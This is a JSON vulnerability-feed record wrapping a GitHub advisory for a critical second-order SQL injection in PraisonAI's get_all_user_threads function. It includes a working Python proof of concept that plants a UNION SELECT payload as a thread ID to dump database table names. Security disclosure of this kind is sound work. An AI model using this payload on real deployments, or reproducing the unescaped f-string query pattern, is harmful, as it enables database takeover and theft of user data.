{"vuln_id":"CVE-2026-34934","aliases":["GHSA-9cq8-3v94-434g"],"description":"PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`","published_at":"2026-04-01T23:20:32Z","modified_at":"2026-11-16T15:58:25Z","first_seen_at":"2026-11-21T19:15:20.271137Z","severity":"critical","severity_source":"ghsa","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":["CWE-89"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":0.00555,"epss_percentile":0.47216,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-34934"},"matched_alias":null,"items":[{"id":2525,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-9cq8-3v94-434g / CVE-2026-34934: PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`","summary":"PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`\n\n## Summary\n\nThe `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.\n\n---\n\n## Details\n\n**File Path:**  \n`src/praisonai/praisonai/ui/sql_alchemy.py`\n\n**Flow:**\n- **Source (Line 539):**\n```python\nawait data_layer.update_thread(thread_id=payload, user_id=user)\n```\n\n- **Hop (Line 547):**\n```python\nthread_ids = \"('\" + \"','\".join([t[\"thread_id\"] for t in user_threads]) + \"')\"\n```\n\n- **Sink (Line 576):**\n```sql\nWHERE s.\"threadId\" IN {thread_ids}\n```\n\n---\n\n## Proof of Concept (PoC)\n\n```python\n\nimport asyncio\nfrom praisonai.ui.sql_alchemy import SQLAlchemyDataLayer\n\nasync def run_poc():\n    data_layer = SQLAlchemyDataLayer(conninfo=\"sqlite+aiosqlite:///app.db\")\n\n    # Insert a valid thread\n    await data_layer.update_thread(\n        thread_id=\"valid_thread\", \n        user_id=\"attacker\"\n    )\n\n    # Inject malicious payload\n    payload = \"x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--\"\n\n    await data_layer.update_thread(\n        thread_id=payload, \n        user_id=\"attacker\"\n    )\n\n    # Trigger vulnerable function\n    result = await data_layer.get_all_user_threads(user_id=\"attacker\")\n\n    for thread in result:\n        if getattr(thread, 'id', '') == 'valid_thread':\n            for step in getattr(thread, 'steps', []):\n                print(getattr(step, 'id', ''))\n\nasyncio.run(run_poc())\n\n# Expected Output:\n# sqlite_master table names printed to console\n```\n\n---\n\n## Impact\n\nAn attacker can achieve full database compromise, including:\n\n- Exfiltration of sensitive data (user emails, session tokens, API keys)\n- Access to all conversation histories\n- Ability to modify or delete database contents\n\nAffected packages: pip:praisonai\nPatched: praisonai 4.5.90","url":"https://github.com/advisories/GHSA-9cq8-3v94-434g","published_at":"2026-04-01T23:20:32Z","updated_at":"2026-11-16T15:58:25Z","fetched_at":"2026-11-21T19:15:18.416906Z","severity":"critical","cvss_score":9.8,"epss":0.00555,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"praisonai","vuln_id":"CVE-2026-34934","vuln_ids":["CVE-2026-34934","GHSA-9CQ8-3V94-434G"],"tags":["ghsa","pip","CWE-89"],"cluster_id":2494,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2525","html":"https://vulnwatch.ve1ve2.com/item/2525"}}]}